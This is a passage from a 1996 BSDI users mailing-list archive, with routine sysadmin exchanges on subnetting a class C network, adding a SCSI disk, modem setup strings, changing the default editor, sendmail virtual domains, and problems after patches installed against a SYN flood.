(8.7.4/8.7.3) with ESMTP id OAA09558 for ; Fri, 8 Nov 1996 14:46:38 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA20017 for bsdi-users-outgoing; Fri, 8 Nov 1996 14:44:48 -0500 (EST) X-Sender: jdd@avon-gw.uk1.vbc.net In-Reply-To: <199611081428.IAA29733@lib.oru.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jim Dixon Sender: owner-bsdi-users@lists.gateway.com To: Brian Young cc: David Newall , bsdi-users@BSDI.COM Subject: Re: subnetting class c address Date: Fri, 8 Nov 1996 19:59:17 +0000 (GMT) On Fri, 8 Nov 1996, Brian Young wrote: > >This is true? It's not how I understand subnets. I do know that host > >63 on subnet 3 is special (it's the broadcast for the complete class C), > >and maybe host 0 on subnet 0 is also special, but I did think that otherwise > >use of those subnets was kocher. > > > > [Standard disclaimer: These are my private opinions] > > Dean is right, you can never use the the lowest or highest subnets. > byoung@oru.edu > Brian Young > Internet Systems Administrator > Oral Roberts University Oddly enough, we use them all the time :-) As someone else points out, the real rule is that you can't use the first and last IP addresses in a subnet. If you divide a class C into four subnets, then 0 and 63, 64 and 127, 128 and 191, and 192 and 255 are reserved, with the other 62 IP addresses available in each subnet. Ciscos will complain, but they stop complaining if you add ip subnet-zero to the configuration. -- Jim Dixon VBCnet GB Ltd +44 117 929 1316 fax +44 117 927 2015 http://www.uk.vbc.net VBCnet West +1 408 971 2682 fax +1 408 971 2684 From VM Fri Nov 8 18:55:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1064" "Fri" "8" "November" "1996" "08:45:38" "-0800" "Devon Lazarus" "devonl@digitalthink.com" nil "31" "Re: adding 2nd hard" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA09563 for ; Fri, 8 Nov 1996 14:46:56 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA19998 for bsdi-users-outgoing; Fri, 8 Nov 1996 14:43:27 -0500 (EST) Message-ID: <328363B2.41C67EA6@digitalthink.com> Organization: DigitalThink X-Mailer: Mozilla 3.01 (X11; I; BSD/OS 2.0 i386) MIME-Version: 1.0 References: <1.5.4.32.19961108032022.0068d888@204.101.127.2> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Devon Lazarus Sender: owner-bsdi-users@lists.gateway.com To: Roch Pageau CC: bsdi-users@BSDI.COM Subject: Re: adding 2nd hard Date: Fri, 08 Nov 1996 08:45:38 -0800 Roch Pageau wrote: > > I'm thinking about adding a 2nd scsi hard disk to my machine and wondering > if the intructions for installing a 2nd hard disk are the same as the first > except for sd1 instead of sd0??? > > I have the Unix sys adm hanbook were the document adding a disk p 166 and > wondering if its complete and step by step or I might have some suprises > when I get started. Don't want to be donw to long. the sys admin book was very helpful and i found adding the disk to be a breeze. one tip: if you add swap space to the second disk you will have to add this line to your kernel config file: config bsd root on sd0a sawp on sd0b and sd1b ^^^^^^^^ note that you need to tell the kernel that it has more swap space and then recompile. otherwise as i said adding a disk was a breeze. -d -- |----------------------------------------| | Devon Lazarus Technology Group | | DigitalThink | | www.digitalthink.com coming November 1 | |----------------------------------------| From VM Fri Nov 8 18:56:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["846" "Fri" "8" "November" "1996" "09:20:31" "+0000" "andrew@grin.net" "andrew@grin.net" nil "30" "Re: All Patches installed and now problems arise" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA10107 for ; Fri, 8 Nov 1996 15:06:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA20153 for bsdi-users-outgoing; Fri, 8 Nov 1996 14:56:55 -0500 (EST) Message-Id: <199611081719.JAA07555@fish.grin.net> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-mailer: Pegasus Mail for Win32 (v2.42) Precedence: bulk From: andrew@grin.net Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: All Patches installed and now problems arise Date: Fri, 8 Nov 1996 09:20:31 +0000 Same problem here on two of our machines. Andrew > > Since Sunday I had to install patches K210-018 - onward becaue someone was > SYN flooding our web server and taking it down every time we rebooted the > web server.. > > Since the patch install I have noticed weird things happening (like CPU > utilization going through the roof, system rEBOOTS on its own etc) > > I have a feeling it has something to do with the patches but WHICH one is > the question.. I know we are still getting attacked > > Nov 7 15:07:16 nucleus kernel: packet from 127.71.186.57 to 199.45.65.129 > proto 6 received on ef0; expected lo0 > > > I am am getting the above in the messages file quite frequently > > Does anyone have any suggestions as to if the attacks are causing the unix > machine to over load and then reboot?!?!?!?! > > > Jim > > > > From VM Fri Nov 8 18:56:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["701" "Fri" "8" "November" "1996" "15:12:14" "-0500" "Richard Chen" "richard@beaker.med.yale.edu" nil "29" "Re: Config_dialin Editor" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA10382 for ; Fri, 8 Nov 1996 15:16:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA20274 for bsdi-users-outgoing; Fri, 8 Nov 1996 15:13:24 -0500 (EST) Message-Id: <2.2.16.19961108201214.57c7626a@beaker.med.yale.edu> X-Sender: richard@beaker.med.yale.edu X-Mailer: Windows Eudora Pro Version 2.2 (16) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Richard Chen Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson Cc: bsdi-users@BSDI.COM Subject: Re: Config_dialin Editor Date: Fri, 08 Nov 1996 15:12:14 -0500 At 10:54 AM 11/8/96 -0800, you wrote: >Hello all. I am trying to use a different editor for the config_dialin program. I am building a unix box for a user who does not know the vi commands. I have already edit the config_dialin program for pico, but it still insists uppon using the vi editor. > >Any ideas on how I can change it to use the pico editor instead of vi. Any info would be greatly appreciated. Thanks in advance. > > >Chris > > > Define your EDITOR environment variable. If csh: # setenv EDITOR /usr/contrib/bin/pico If sh: # EDITOR=/usr/contrib/bin/pico; export EDITOR --------------------------- Q. Richard Chen Yale-New Haven Hospital richard@beaker.med.yale.edu  From VM Fri Nov 8 18:56:02 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1499" "Fri" "8" "November" "1996" "15:19:02" "-0400" "Dean Anderson" "dean@av8.com" nil "35" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA10384 for ; Fri, 8 Nov 1996 15:16:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA20292 for bsdi-users-outgoing; Fri, 8 Nov 1996 15:16:30 -0500 (EST) X-Authentication-Warning: mustang.oec.com: mail set sender to using -f X-Sender: dean@mail.oec.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: dean@av8.com (Dean Anderson) Sender: owner-bsdi-users@lists.gateway.com To: Mike Pelletier Cc: Kevin Sellars , info-bsdi-users@uunet.uu.net Subject: Re: subnetting class c address Date: Fri, 8 Nov 1996 15:19:02 -0400 At 9:42 AM 11/8/96, Mike Pelletier wrote: >On Thu, 7 Nov 1996, Dean Anderson wrote: > >> You set up a subnet mask. Class C has a 24bit mask. You can change the >> netmask to include more bits in the network part. However, you only get >> two 62 host networks without creating broadcast ambiguities. >> >> 0xffffffc0 is the netmask for interfaces on this subnetted network. >> >> subnet 0 can't (shouldn't) be used (x.y.z.0) could be sent to all subnets >> or just subnet 0. >> subnet 3 can't (shouldn't) be used. (x.y.z.255) could be sent to all >> subnets or just subnet 3. >> >> Subnet 1 and Subnet 2 can be assigned without ambiguity. > >Right, this is what it indicates in the Netware CNE course documents, but >the point is, it's only ambiguous if you assume a 24 bit mask based on the >class-C-ness of the first two bits of the address, and ignore the manually >specified subnet mask. There's no ambiguity if the hardware observes the >full 26 bits of the netmask. Then, Except that machines elsewhere on the internet don't know what your netmask is. --Dean Dean Anderson dean@aV8.com | dean@lpf.org We make technology fly! See us for | Stop Software Patents before they Networking, Firewalls, WWW and more. | stop you! Contact me for more info Contact me for services and rates | or send mail to lpf@lpf.org President | President Plain Aviation,Inc | League for Programming Freedom From VM Fri Nov 8 18:56:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["552" "Fri" "8" "November" "1996" "12:25:59" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "18" "Re: Modem config - USR" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA10403 for ; Fri, 8 Nov 1996 15:22:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA20323 for bsdi-users-outgoing; Fri, 8 Nov 1996 15:19:01 -0500 (EST) In-Reply-To: <1.5.4.32.19961108123628.0068f8ec@204.101.127.2> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Roch Pageau cc: bsdi-users@BSDI.COM Subject: Re: Modem config - USR Date: Fri, 8 Nov 1996 12:25:59 -0800 (PST) On Fri, 8 Nov 1996, Roch Pageau wrote: > I would like to test a US RObotics sportster 33.6k on our system. We are > using 2.1 and a 16em digiboard. Would any have a setup string that would > allow this type of modem to receive calls from just about any > other.(incomming only) > I have had some problems getting those puppies to work but here's what i ended up using: at&m0&r2&h1&c1s0=1 then at&w to save It seems most modems, except USR's, have problems connecting to these, and we recommend to our customers a Hayes compatible modem. Amy :) From VM Fri Nov 8 18:56:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["503" "Fri" "8" "November" "1996" "12:27:01" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "11" "Re: Config_dialin Editor" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA10586 for ; Fri, 8 Nov 1996 15:23:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA20331 for bsdi-users-outgoing; Fri, 8 Nov 1996 15:19:39 -0500 (EST) In-Reply-To: <199611081854.KAA24697@chiba.netxn.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson cc: bsdi-users@BSDI.COM Subject: Re: Config_dialin Editor Date: Fri, 8 Nov 1996 12:27:01 -0800 (PST) On Fri, 8 Nov 1996, Chris McGlasson wrote: > Hello all. I am trying to use a different editor for the config_dialin program. I am building a unix box for a user who does not know the vi commands. I have already edit the config_dialin program for pico, but it still insists uppon using the vi editor. > > Any ideas on how I can change it to use the pico editor instead of vi. Any info would be greatly appreciated. Thanks in advance. > Change your environment variable EDITOR to pico Amy :) From VM Fri Nov 8 18:56:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["868" "Fri" "8" "November" "1996" "15:24:54" "-0500" "Stephen Frost" "sfrost@user2.mnsinc.com" nil "28" "Re: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA10677 for ; Fri, 8 Nov 1996 15:31:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA20357 for bsdi-users-outgoing; Fri, 8 Nov 1996 15:25:34 -0500 (EST) Message-Id: <199611082024.PAA20621@user2.mnsinc.com> In-Reply-To: from "system operator" at Nov 8, 96 05:33:17 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: Stephen Frost Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Virtual Domain Email Date: Fri, 8 Nov 1996 15:24:54 -0500 (EST) > > > yes, it is necessary to configure sendmail.cf. > > No, it is not. I've been running virtual domain for years > and have never once bothered with sendmail.cf. The least one > needs to do (assuming dns is done) is make the entry in > sendmail.cw and restart sendmail. Then mail for the virtual > domain is delivered to the username if the username exists, > or rejected as 'User Unknown' otherwise. Again, this assumes > correct MX records in the dns. > > > i have a solution which > > involves changing the configuration only once, then simply maintaining a > > database or two. > > > check out my solution at: > > http://www.sinbad.wantabe.com/virtualmail Why do you need the S:'s inside the $( $)'s? Shouldn't you be able to just leave them as R$+ < @ $+ > $* $:$(virtmail $1@$2 $) R$+ < @ $+ > $* $:$(virtmail $2 $) ? Stephen From VM Fri Nov 8 18:56:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["307" "Fri" "8" "November" "1996" "05:16:34" "-0500" "system operator" "bsdi@mohawk.net" nil "8" "Re: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA10949 for ; Fri, 8 Nov 1996 15:41:13 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA20416 for bsdi-users-outgoing; Fri, 8 Nov 1996 15:35:09 -0500 (EST) In-Reply-To: <199611070420.XAA08451@crystal.palace.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: system operator Sender: owner-bsdi-users@lists.gateway.com To: "Matthew R. Sheahan" cc: bsdi-users@BSDI.COM Subject: Re: Virtual Domain Email Date: Fri, 8 Nov 1996 05:16:34 -0500 (EST) > Aside from the need to kill and restart sendmail, that sounds like it > should work. However, the Cw approach has a number of drawbacks over > the other main strategy of delivering mail for all addresses under the > domain to a user account. Could you elaborate on the drawbacks? - Ralph Huntington From VM Fri Nov 8 18:56:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1698" "Fri" "8" "November" "1996" "14:44:06" "-0600" "ian@connect.fc.net" "ian@connect.fc.net" nil "62" "virtual domain email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA11220 for ; Fri, 8 Nov 1996 15:45:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA20487 for bsdi-users-outgoing; Fri, 8 Nov 1996 15:44:27 -0500 (EST) Message-Id: <199611082044.OAA18305@connect.fc.net> Precedence: bulk From: Ian Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: virtual domain email Date: Fri, 8 Nov 1996 14:44:06 -0600 > From owner-bsdi-users@lists.gateway.com Fri Nov 8 12:52:16 1996 > Date: Fri, 8 Nov 1996 08:31:09 -0800 (PST) > From: Chris McGlasson > To: system operator > cc: bsdi-users@BSDI.COM > Subject: Re: Virtual Domain Email > > Yes. I did try to kill -HUP my pid. But had no luck with that. I have > it working now. Thanks for the help. > > Chris > > On Fri, 8 Nov 1996, system operator wrote: > > > > I was wondering if it was necessary to configure the sendmail.cf file for > > > setting up virtual domain email addresses? > > > > No, it is not. > > > > > I have MX files set up in my named DNS files, have added the domain to > > > the sendmail.cw, and I am able to send mail to the domain with my domain > > > but when it comes time to receive mail from a different domain, the mail > > > is rejected. > > > > Did you kill -HUP sendmail so it would read the new .cw file? > > > > - Ralph > > > > > There is a different way to do this. It is located at: http://www.jurai.net/~winter/virtual/email.html All the scripts for it are in: http://www.jurai.net/~winter/virtual/ It doesn't like the slickest way to do virtual domain email, but it may give some ideas :) Ian Fink ian@connect.fc.net http://connections.email.net HELP!!! I just fell into a quantum singularity and I can't get out !!!!!! ________ ALL dealers with high prices /_/_/_/_/| will be ASSIMILATED, /_/_/_/_/|| high prices are irrelevant, |_|_|_|_|/| apple computers are irrelevant, |_|_|_|_|/| resistance is futile. |_|_|_|_|// |_|_|_|_|/ print "Just another Perl hacker"; # but not what the media calls "hacker!" :-) From VM Fri Nov 8 18:56:08 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["10451" "Fri" "8" "November" "1996" "08:28:50" "-0600" "Raymond Jolin" "ray@intellisys.net" nil "142" "daily insecurity output problem" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA11508 for ; Fri, 8 Nov 1996 16:04:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA20538 for bsdi-users-outgoing; Fri, 8 Nov 1996 15:57:12 -0500 (EST) Message-ID: <01BBCD4E.E364D540@ray> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: Raymond Jolin Sender: owner-bsdi-users@lists.gateway.com To: "'bsdi-users@bsdi.com'" Subject: daily insecurity output problem Date: Fri, 8 Nov 1996 08:28:50 -0600 Below is a clip of my daily run output. I have tried everything to fix it. Can anyone help? Thanks Ray Checking for globally exported file systems: File system globally exported, read-write. Checking setuid files and devices: Checking disk ownership and permissions: Disk /usr/rootcopy/dev/sd0a is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd0b is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd0c is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd0d is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd0e is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd0f is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd0g is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd0h is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd1a is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd1b is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd1c is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd1d is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd1e is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd1f is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd1g is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd1h is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd2a is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd2b is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd2c is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd2d is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd2e is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd2f is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd2g is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd2h is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd3a is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd3b is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd3c is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd3d is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd3e is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd3f is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd3g is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/sd3h is user root, group wheel, permissions brw-r-----. Disk /usr/rootcopy/dev/rsd0a is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd0b is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd0c is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd0d is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd0e is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd0f is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd0g is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd0h is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd1a is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd1b is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd1c is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd1d is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd1e is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd1f is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd1g is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd1h is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd2a is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd2b is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd2c is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd2d is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd2e is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd2f is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd2g is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd2h is user root, group wheel, permissions crw-r-----. Disk /usr/rootcopy/dev/rsd3a is user root, group wheel, permissions crw-r-----. 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From VM Fri Nov 8 18:56:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["720" "Fri" "8" "November" "1996" "16:03:57" "-0500" "Mike Pelletier" "mikep@comshare.com" nil "19" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA11783 for ; Fri, 8 Nov 1996 16:09:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA20558 for bsdi-users-outgoing; Fri, 8 Nov 1996 16:05:07 -0500 (EST) Posted-Date: Fri, 8 Nov 1996 16:03:59 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Pelletier Sender: owner-bsdi-users@lists.gateway.com To: Dean Anderson cc: Kevin Sellars , info-bsdi-users@uunet.uu.net Subject: Re: subnetting class c address Date: Fri, 8 Nov 1996 16:03:57 -0500 (EST) On Fri, 8 Nov 1996, Dean Anderson wrote: > At 9:42 AM 11/8/96, Mike Pelletier wrote: > >Right, this is what it indicates in the Netware CNE course documents, but > >the point is, it's only ambiguous if you assume a 24 bit mask based on the > >class-C-ness of the first two bits of the address, and ignore the manually > >specified subnet mask. There's no ambiguity if the hardware observes the > >full 26 bits of the netmask. Then, > > Except that machines elsewhere on the internet don't know what your > netmask is. So? My Internet firewall is 130.211.50.75, and machines elsewhere on the internet don't know that it has a 24-bit, rather than a 16-bit, subnet mask. What's the difference? -Mike Pelletier. From VM Fri Nov 8 18:56:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["556" "Fri" "8" "November" "1996" "14:15:59" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "17" "Re: Config_dialin Editor " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA12069 for ; Fri, 8 Nov 1996 16:21:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA20598 for bsdi-users-outgoing; Fri, 8 Nov 1996 16:16:32 -0500 (EST) Message-Id: <199611082116.OAA03277@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Fri, 08 Nov 1996 10:54:53 PST." <199611081854.KAA24697@chiba.netxn.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson cc: bsdi-users@BSDI.COM, billn@tao.bsdi.com Subject: Re: Config_dialin Editor Date: Fri, 08 Nov 1996 14:15:59 -0700 Chris McGlasson writes: >Hello all. I am trying to use a different editor for the config_dialin progra >m. I am building a unix box for a user who does not know the vi commands. I >have already edit the config_dialin program for pico, but it still insists upp >on using the vi editor. > >Any ideas on how I can change it to use the pico editor instead of vi. Any in >fo would be greatly appreciated. Thanks in advance. > > >Chris > For *csh users "setenv EDITOR /usr/contrib/bin/pico" For *sh users "EDITOR=/usr/contrib/bin/pico; export EDITOR" From VM Fri Nov 8 18:56:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["356" "Fri" "8" "November" "1996" "16:25:10" "-0500" "Mark Davis" "davism@cybersurf.com" nil "14" "Re: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA12081 for ; Fri, 8 Nov 1996 16:23:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA20682 for bsdi-users-outgoing; Fri, 8 Nov 1996 16:25:58 -0500 (EST) In-Reply-To: <199611081844.NAA17582@crystal.palace.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mark Davis Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Virtual Domain Email Date: Fri, 8 Nov 1996 16:25:10 -0500 (EST) On Fri, 8 Nov 1996, Matthew R. Sheahan wrote: > > Yes. I did try to kill -HUP my pid. But had no luck with that. > > That's because sendmail does not respond to a SIGHUP; it needs to be killed > and restarted. FWIW... 8.8.2 will, when called with the path in the command line... Mark Davis SysAdmin Crystal Wind Communications, Inc. From VM Fri Nov 8 18:56:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["930" "Fri" "8" "November" "1996" "13:22:52" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "30" "Re: Config_dialin Editor" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA12348 for ; Fri, 8 Nov 1996 16:28:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA20705 for bsdi-users-outgoing; Fri, 8 Nov 1996 16:29:10 -0500 (EST) Message-Id: <199611082122.NAA26861@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: chrism@chiba.netxn.com, richard@beaker.med.yale.edu Cc: bsdi-users@BSDI.COM Subject: Re: Config_dialin Editor Date: Fri, 8 Nov 1996 13:22:52 -0800 (PST) > >Hello all. I am trying to use a different editor for the config_dialin > program. I am building a unix box for a user who does not know the vi > commands. I have already edit the config_dialin program for pico, but it > still insists uppon using the vi editor. > > > >Any ideas on how I can change it to use the pico editor instead of vi. Any > info would be greatly appreciated. Thanks in advance. > > > > > >Chris > > > > > > > > Define your EDITOR environment variable. > > If csh: > # setenv EDITOR /usr/contrib/bin/pico > If sh: > # EDITOR=/usr/contrib/bin/pico; export EDITOR > Note that many programs first check for VISUAL and then check EDITOR so if VISUAL is set, changing EDITOR doesn't do anything very much. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Fri Nov 8 18:56:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["412" "Fri" "8" "November" "1996" "13:31:45" "-0800" "Jon Drukman" "jsd@cyborganic.com" nil "15" "Re: External Logging" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA12357 for ; Fri, 8 Nov 1996 16:32:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA20719 for bsdi-users-outgoing; Fri, 8 Nov 1996 16:32:46 -0500 (EST) Message-Id: <9611081331.ZM2875@oz.cyborganic.com> In-Reply-To: Sam Brown "External Logging" (Nov 8, 2:35pm) References: X-Mailer: Z-Mail (3.2.3 08feb96 MediaMail) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: "Jon Drukman" Sender: owner-bsdi-users@lists.gateway.com To: Sam Brown Cc: bsdi-users@BSDI.COM Subject: Re: External Logging Date: Fri, 8 Nov 1996 13:31:45 -0800 On Nov 8, 2:35pm, Sam Brown wrote: > Subject: 